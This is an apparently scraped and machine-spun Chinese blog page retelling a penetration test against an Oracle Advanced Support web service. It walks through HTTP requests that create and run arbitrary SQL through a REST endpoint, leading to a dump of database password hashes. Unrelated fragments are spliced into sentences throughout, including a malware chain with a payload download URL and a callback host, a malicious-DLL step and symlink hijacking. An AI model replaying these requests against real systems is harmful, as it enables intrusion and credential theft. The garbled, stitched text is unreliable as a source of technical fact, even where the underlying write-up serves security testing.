课程计划:Oracle Advanced Support体系SQL注入缝隙发掘经历共享

访客4年前黑客工具937

Oracle Advanced Support系统SQL注入缝隙分析


一年多前我在客户的一个外部环境中实行浸透测验,任何外部环境浸透测验的重要过程之一就是发掘刚初步调试时,将断点下在handleCommand函数初步处(0x08049262),不能成功间断,而是收到sigchld信号,调试失利。查阅资料后得知这是因为多进程的原因。出可访问的WEB服务。nmap和EveWitness的结合会令这过程变得更快,因为我们可以进行端口扫描 而且把这些成果以屏幕截图的方式导入到 EyeWitness中。当梳理完 EyeWitness供应的屏幕截图页面后,我发现了一个Oracle 高档支撑服务。 

尽管我之前从没听过Oracle Advanced Support,但是当我很快的google完之后,我了解到它似乎是一个答应oracle的技术支撑在外部登入,而且在oracle系统环境下进行任何技术支撑需求的操作的服务。有了这个信息之后, 我们可以将现有的web运用测验与它结合起来。

我们可以对这个运用开端进行一些简略的侦办,包含:

寻觅现已被爆出的缝隙

用burp爬取运用

枚举常见的途径

检查可获取的页面的源码

走运的是,我在主页的源码中发现了 一个包含财物目录清单的链接。

关于像这样一个不知道的运用,目录列表是很有用的,它给我们了一些希望去发现一些很风趣 但不应该被访问到的东西 。果不其然的在搜索每个目录之后,我偶尔发现了以下的javascript文件: 

让它变得更适合阅览一些

在Web浸透测验中,其间一个我喜爱的而且常常忽视的工作是查找运用中的javascript文件, 而且看看他们是否支撑任何POST 或者是GET恳求。

我们现已发现了一个叫做sql-service.js的javascript文件,这让我立刻在脑海中进步起警惕来。这个文件包含4个匿名函数其间三个t.get *** ON *** 的GET恳求和一个t.post *** 的POST恳求。这些函数包含如下一些变量:

 

1 2 3 4 getSqlData createNamedSql getNamedSqlList getSqlNameList

在这篇文章的剩下部分,我将提及匿名函数中的变量。

每个函数的根节点都坐落/rest/data途径下。

接下来是将他们拆分之后的恳求:

 

1 2 3 4 GET /rest/data/sql POST /rest/data/sql GET /rest/data/sql_list GET /rest/data/sql_name_list

有了这些之后,开端拿出我最喜爱的署理东西:burp,看看会发作什么!


犁庭扫穴


我首要测验的是来自于getSqlData函数途径是/rest/data/sql的GET恳求。我们也通过调查javascript发现这个恳求需求附加一个参数,让我们在结束加上”test”.

 

1 2 3 4 HTTP Request: GET /rest/data/sql/test HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json Content-Length: 0  HTTP Response: HTTP/1.1 404 Not Found Content-Type: application/json Content-Length: 20 Connection: close Named SQL not found.

当我们把”test”加到恳求url的结尾,服务器回来了404。一起服务器也回来了这样一个信息:Named SQL not found。假设我们测验”test”之外的其他字符串,得到了相同的回来信息。我们把这个恳求发到Burp 的 intruder模块,计划企图过一个目录列表字典来枚举潜在的参数名,看看是否能得到除了404之外的回来。但是有一个更简略的 *** 来找到适宜的参数名。假设我们再次检查javascript,你会发现函数的称谓给我们一些有价值的信息。我们在以下函数中发现了两个GET恳求:getNamedSqlList 和 getSqlNameList.。我们方才的恳求回来的过错信息是 Named SQL n

------有备份数据库的权限

ot found error。让我们测验针对getNamedSqlList函数的GET恳求。 

 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 HTTP Request: GET /rest/data/sql_list HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json Content-Length: 0 HTTP Response: HTTP/1.1 200 OK  Content-Type: application/json; charset=UTF-8 Connection: close Content-Length: 243633 [{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]},{"id":2,"name":"cpu_only","sql":"SELECT TIME,CPU_UTILIZATION FROM TIME_REPORT","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[]},{"id":3,"name":"simple_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE < ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":1,"name":"cpu_usage","type":"int","value":null}]},{"id":4,"name":"double_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE between ? and ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":2,"name":"cpu_low","type":"int","value":null},{"id":3,"name":"cpu_high","type":"int","value":null}]},{"id":5,"name":"by_time","sql":"select time, cpu_usage from CPU_MONITOR where time(time) > ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":4,"name":"time","type":"string","value":null}]},{"id":10,"name":"tableTransferMethod","sql":"SELECT result_text, result_value FROM&nbsp;&nbsp; MIG_RPT_TABLE_TRANSFER_METHOD WHERE&nbsp; scenario_id = :scenario_id AND&nbsp; package_run_id = :pkg_run_id AND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":5,"name":"scenario_id","type":"int","value":null},{"id":6,"name":"pkg_run_id","type":"string","value":null},{"id":7,"name":"engagement_id","type":"int","value":null}]},{"id":16,"name":"dataTransferVolumes","sql":"select RESULT_TEXT,n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RESULT_VALUEnfrom&nbsp; MIG_RPT_DATA_TRANSFER_VOLUMEnwhere scenario_id = :scenario_idnAND&nbsp;&nbsp; package_run_id = :pkg_run_idnAND&nbsp;&nbsp; engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":8,"name":"scenario_id","type":"int","value":null},{"id":9,"name":"pkg_run_id","type":"string","value":null},{"id":10,"name":"engagement_id","type":"int","value":null}]},{"id":17,"name":"dataCompressionPercentage","sql":"SELECT RESULT_TEXT,n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RESULT_VALUEnFROM&nbsp;&nbsp; MIG_RPT_DATA_COMPRESSION_PCTnWHERE&nbsp; scenario_id = :scenario_idnAND&nbsp;&nbsp;&nbsp; package_run_id = :pkg_run_idnAND engagement_id = g) 模块化规划,在受害者机器上可轻松进行更新

这确实给了我们不少的信息,让我们仔细分析一下,我们取得了一组json目标,看一下数组中的之一个目标:

1 {"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]}

我们发现了以下的特点:name, sql, dataSourceJNDI, privileges, and paramList,其间 sql特点是我最感兴趣的因为它包含了具有字符串值的SQL句子。我们把name的值放进从前测验的GET恳求中。

 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 HTTP Request: GET /rest/data/sql/sample HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json;charset=UTF-8 Content-Length: 0 HTTP Response: HTTP/1.1 400 Bad Request  Content-Type: application/json Content-Length: 44 Connection: close Bad Request.Param value not defined for time

Hey!我们得到一些回来!但是我们少了一个参数,让我们加进来。 

 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 HTTP Request: GET /rest/data/sql/sample?time=1 HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json;charset=UTF-8 Content-Length: 0 HTTP Response: HTTP/1.1 200 OK  Content-Type: application/json; charset=UTF-8 Content-Length: 2 Connection: close

尽管没有从服务器取得任何回来,但是也没有回来任何过错!莫非是比如中的SQL句子被实行了,仅仅没有回显?我们可以持续测验其他的从从前恳求中取得的names,但是我们看一下原始的javascript。我们发现有一个叫做createNamedSQL的函数,它是一个POST的恳求。我们知道来至于getNamedSqlList 的恳求的回来值包含了sql句子的值。也许是这个post恳求会答应我们在服务器上 实行sql查询。我们试一下! 


SQL Execution


这就是createNamedSQL中在包体里面包含一个空json目标的POST恳求:

 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 HTTP Request: POST /rest/data/sql HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json Content-Length: 0 {} HTTP Response: HTTP/1.1 500 Internal Server Error Content-Type: text/html Content-Length: 71 Connection: close A system error has occurred: Column 'SQL_NAME' cannot be null [X64Q53Q]

我们得到一个关于SQL_NAME列的过错,当我们在包体中包含空的json目标时这不是很意外。现在我们在包体里参加一个随机的特点名和数值。

 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 HTTP Request: POST /rest/data/sql HTTP/1.1 Host: host Connection: close Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Length: 16 Content-Type: application/json;charset=UTF-8 {"test":1} HTTP Response: HTTP/1.1 400 Bad Request  Content-Type: text/plain Content-Length: 365 Connection: close Unrecognized field "test" (class com.oracle.acs.gateway.model.NamedSQL), not marked as ignorable (6 known properties: "privileges", "id", "paramList", "name", "sql", "dataSourceJNDI"])  &nbsp;at [Source: org.glassfish.jersey.message.internal.EntityInputStream@1c2f9d9d; line: 1, column: 14] (through reference chain: com.oracle.acs.gateway.model.NamedSQL["SQL_NAME"])

再一次不意外的取得了一个关于不知道“test”字段的bad request,但是假设你留意的话,这个过错的信息给我们回来了一些有用的特点。感谢 Oracle先生的服务!这些特点也相同呈现了从getNamedSqlList宣布恳求取得的回来中。我运用getNamedSqlList恳求的回来中其间的一个值赋给dataSourceJNDI特点。

 

1 2 3 4 5 6 7 8 9 10 11 12 13 HTTP Request: POST /rest/data/sql HTTP/1.1 Host: host Connection: close Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Length: 101 Content-Type: application/json;charset=UTF-8 {     "name": "test",     "sql":"select @@version",     "dataSourceJNDI":"jdbc/portal" }

这看起来是一个很好的测验恳求,我们来见证一下  他是否有用。

 

1 2 3 4 5 6 HTTP Response: HTTP/1.1 500 Internal Server Error  Content-Type: text/plain Content-Length: 200 Connection: close A system error has occurred: MessageBodyWriter not found for media type=text/plain, type=class com.oracle.acs.gateway.model.NamedSQL, genericType=class com.oracle.acs.gateway.model.NamedSQL. [S2VF2VI]

我们依然从服务器取得了一个过错回来,但是只回来了content-type。SQL句子或许现已被创建了。通过把称谓字段设为“test”, 让我们测验之一个具有参数的GET恳求。 

 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 HTTP Request: GET /rest/data/sql/test HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json;charset=UTF-8 Content-Length: 0 HTTP Response: HTTP/1.1 200 OK  Content-Type: application/json; charset=UTF-8 Content-Length: 24 Connection: close [{"@@version":"5.5.37"}]

看这儿!我们取得了一些SQL实行。

看一下“我们”是谁。

 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
课程计划:Oracle Advanced Support体系SQL注入缝隙发掘经历共享
HTTP Request: POST /rest/data/sql HTTP/1.1 Host: host Connection: close Accept: */* Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 1. 把脚本直接张贴到交互式的PowerShell控制台 Content-Length: 101 Content-Type: application/json;charset=UTF-8 {     "name": "test2",     "sql":"SELECT USER from dual;",     "dataSourceJNDI":"jdbc/portal" } HTTP Request: GET /rest/data/sql/test2 HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json;charset=UTF-8 Content-Length: 0 HTTP Response: HTTP/1.1 200 OK  Content-Type: application/json; charset=UTF-8 Content-Length: 19 Connection: close [{"USER":"SY *** AN"}]

看起来我们是SY *** AN 用户。通过这个oracal  文档(https://docs.oracle.com/cd/B16351_01/doc/server.102/b14196/users_secure001.htm)  知道,我们就是administrator.

试一下 我们能否抓取出用户的哈希.

 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 HTTP Request: POST /rest/data/sql HTTP/1.1 Host: host Connection: close Accept: */* Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Length: 120 Content-Type: application/json;charset=UTF-8 {     "name": "test3",     "sql":"SELECT name, password FROM sys.user$",     "dataSourceJNDI":"jdbc/portal" } HTTP Request: GET /rest/data/sql/test3 HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json;charset=UTF-8 Content-Length: 0 HTTP Response: HTTP/1.1 200 OK  Content-Type: application/json; charset=UTF-8 Content-Length: 5357 Connection: close [{"NAME":"SYS","PASSWORD":"[REDACTED]"},{"NAME":"PUBLIC","PASSWORD":null},{"NAME":"CONNECT","PASSWORD":null},{"NAME":里面的PS意思就是暗码已设置。"RESOURCE","PASSWORD":null},{"NAME":"DBA","PASSWORD":null},{"NAME":"SYSTEM","PASSWORD":"[REDACTED]"},{"NAME":"SELECT_CATALOG_ROLE","PASSWORD":null},{"NAME":"EXECUTE_CATALOG_ROLE","PASSWORD":null}

我们可以取得数据库中的用户暗码的哈希值。我修改和删除了首要的部分。知道了我们是一个具有administrator权限的用户,当然后续我们还可以做许多工作。但是,针对此博客的意图,我停止下来了。


 

定论


关于这个匿名sql实行我联系了oracle,他们很快的回复而且修正了这个问题。对我而言真实的问题是为什么web服务压根儿就答应sql句子被实行呢? 

这个博客更大的收成是必定要看运用中的javascript文件。在多个web运用和外网的浸透测验中,我现已发现了隐藏在javascript文件中sql 注入,指令实行,和  xml实体注入侵犯。 

作为针对娴熟浸透测验者的操练使命,看完这篇博客而且计算多少个你能确认的缝隙。提示:超越三处 


 

参看


https://github.com/ChrisTruncer/EyeWitness 

https://nmap.org/ 

https://docs.oracle.com/cd/B16351_01/doc/server.102/b14196/users_secure001.htm 

https://docs.oracle.com/cd/B28359_01/server.111/b28337/tdpsg_user_accounts.htm#TDPSG20000 

https://portswigger.net/burp/help/repeater_using.html 

课程计划:Oracle Advanced Support体系SQL注入缝隙发掘经历共享

{我们也可以运用符号链接技能来劫持一个特定的日志文件(如some.log),以创建一个具有侵犯者选择的称谓的恣意文
课程方案
件,例如,程序目录中的DLL。%SystemDrive%Oracle Advanced Support系统SQL注入漏洞挖掘经验分享

课程方案0x002 PALETTE RW Primitive每个新用户都需求更新坐标。更新后的系统以非常简略的 *** 作业:它导航到Google的ReCaptcha站点,然后导航到音频应战,下载应战,将其提交到Speech To Text,解析照应并键入答案,然后单击提交并检查是否侵犯成功。@蒋之旸 : 关闭短信的im信息就没了。[1][2]黑客接单网大小为64字节,包含:

}图5在该工作中一共触及5个样本,样本1作为一个“抓鸡”东西运用永久之蓝缝隙对指定IP段进行扫描(运用样本2),关于存在缝隙的445端口便植入一个downloader(样本3),这个downloader会从侵犯者的HFS站点(http://flamess.cn:48096/666.exe)下载一个木马Loader(样本4),loader会在内存中解密“大灰狼”远控并在内存实行,回连主控端(flamess.cc:2012)。整个逻辑进程可参看下图:关于Mac/iOS中运用到的dylib,可以运用class-dump和hoppper结合进行反汇编分析。class-dump又是一款开源解析MachO利器,与MachOView类似的是,他可按照MachO偏移量,找寻符号表(Symbol Table),然后导出类名和 *** 名,但是他供应了许多参数用于导出不同架构的MachO链接符号表。运用如下指令导出类名 *** 名到文件中:课程方案

HKLMSYSTEMCurrentControlSetControlSessionManagerAppCompatCacheAppCompatCache(for Non-XP) final=""

所谓文件型加密卷,断章取义,你会创建一个占有必定体积大小的文件,不过这个文件是被加密的,它没有格式且无法被其他运用翻开,只能通过 VeraCrypt 输入暗码翻开。

默许是安装在/usr/local/bin/目录下。

$end_time=microtime(true);[CVE_2014_3153 / Futex bug / Towelroot] (http://seclists.org/oss-sec/2014/q2/467)Oracle Advanced Support系统SQL注入漏洞挖掘经验分享

课程方案结束原理分析: 在网上看到有童鞋发帖说删去什么ini什么的,这些都是治标不治本的 *** 假设人家自己写一个驱动
Oracle Advanced Support系统SQL注入漏洞挖掘经验分享
躲藏呢,这时候又咋处理?所以原理非常重要。我举荐求其道而弃其术。 [+] Mailbox GUID: [251 102 208 159 53 202 228 77 184 67 76 15 228 47 61 223]我们在选择运用xposed功用模块的时分,或许根据以下需求之一:获取要害信息

Wed Aug 31 18:07:05 GMT 2016 检查口令确认战略2.2 配备burpsuite课程方案

传达 *** 如有疑问,欢迎联络。

因为暗码强度是根据暗码明文来核算的,而不是暗码的MD5值,但是数据库中存储的是暗码的MD5值.

这个系统的结束,应该与三星在Knox的运用层中运用的Container的原理类似。即在设备上创建出一个虚拟的Android环境,作为一个类似沙盒(Sandbox)的独立环境,在容器中工作的运用程序与容器外的运用程序是无法进行交互的,然后为沙盒内的程序供应了保护。这也就是现在奇酷并没有把支付宝放入工业保险箱中的原因,因为一旦放入,其他程序就无法与支付宝进行交互。

Oracle Advanced Support系统SQL注入漏洞挖掘经验分享

  第二步:运用Msfvenom创建恶意DLL文件运用篡改正的固件,发送恰当的CAN信息,然后操作车辆,这是运用SPI,通过OMAP芯片向V850芯片上修改正的固件发送信息结束的。这一进程需求用到2013年文章中类似的研讨知识。强制访问控制(MAC)和根据人物的访问控制(RBAC)是老式 POSIX 系统中一种对底子用户用户组安全机制的扩展。其时不少数的发行版都现已内建了MAC/RBAC 功用(Fedora,Ubuntu)或许将 MAC/RBAC 作为设备后可选的附加项供应给用户(Gentoo,Arch,Debian)。很显然,我们剧烈建议你选择一个已内建 MAC/RBAC 功用的发行版,不过假设你对运用其他的发行版有剧烈的自愿,那么也请在设备好系统后在设备 MAC/RBAC 功用。

IIS7.5触及两个账户,一个为匿名账户,一个为运用程序池账户。在磁盘的NTFS权限设置中,匿名账户只需求具有对网站目录的读取权限即可;而运用程序池账户需求根据程序实际情况给予相应权限,比如:需求去写文件,则要给予写权限,需求去调用一个程序(如cmd.exe)则需求给予实行权限。总之,对文件的访问,首要需求有匿名账户的访问权限,然后再根据程序的操作需求什么样的权限给予运用程序池账户相应的权限。


本文标题:课程计划:Oracle Advanced Support体系SQL注入缝隙发掘经历共享

相关文章

年入百万的站群项目,是如何站群SEO优化操作的?

站群意思是多个站成规模的去发送到搜索引擎,那其核心组成就是能够找到你站点的『域名』和『内容』,域名买高质量的,内容自己创作。当然关于内容方面,自己创作几乎不可能,伪原创是方法之一,也可以做镜像站或者单...

如何查看别人手机上的微信聊天记录信息

小朋友们碰见自己喜欢吃的食物都会一顿猛吃,但是这样很容易出现积食的情况,碰见那些不好消化的更要控制吃的数量,比如元宵节的汤圆就不能多吃,那么八岁宝宝能吃几颗汤圆,8岁宝宝吃什么汤圆好。下面友谊长存的小...

肛门瘙痒用什么药膏好(肛门瘙痒的原因有哪些

肛门瘙痒用什么药膏好(肛门瘙痒的原因有哪些

肛门瘙痒是常见的一种皮肤疾病,由多种原因引起的皮肤外科疾病,多发于中年人。那么,引起肛门湿疹的原因有哪些呢?下面跟着小编一起来看看吧。 不注意个人卫生,性生活很混乱 一般来说,出现这种瘙痒症状...

巴黎教师被斩首案4人被拘留

相信现在有好多小伙伴们拿这手机都在看巴黎教师被斩首案4人被拘留事情吧,因为在这两天巴黎教师被斩首案4人被拘留的热度是非常高的,受到了广大网友们的关注,那么既然现在大家都非常关注巴黎教师被斩首案4人被拘...

小县城如何办好“大教育”

  小县城如何办好“大教育”   ——一个少数民族县的教育脱贫实践   内容提要     受历史、自然、地理等因素影响,环江毛南族自治县一直是广西最为贫困的地区之一,这里有毛南族人6.45万...

怎么去牙石?在家自己就能去牙石的方法(省钱

怎么去牙石?在家自己就能去牙石的方法(省钱

很多现代人为牙结石而困扰,牙结石会带来口臭,牙龈出血,不美观等很多问题。但是又听说洗牙会带来很多后遗症,也总是望而却步,那么有没有一些简单而又实用的方法可以帮我们去除牙结石呢,今天小编给大家整理了一些...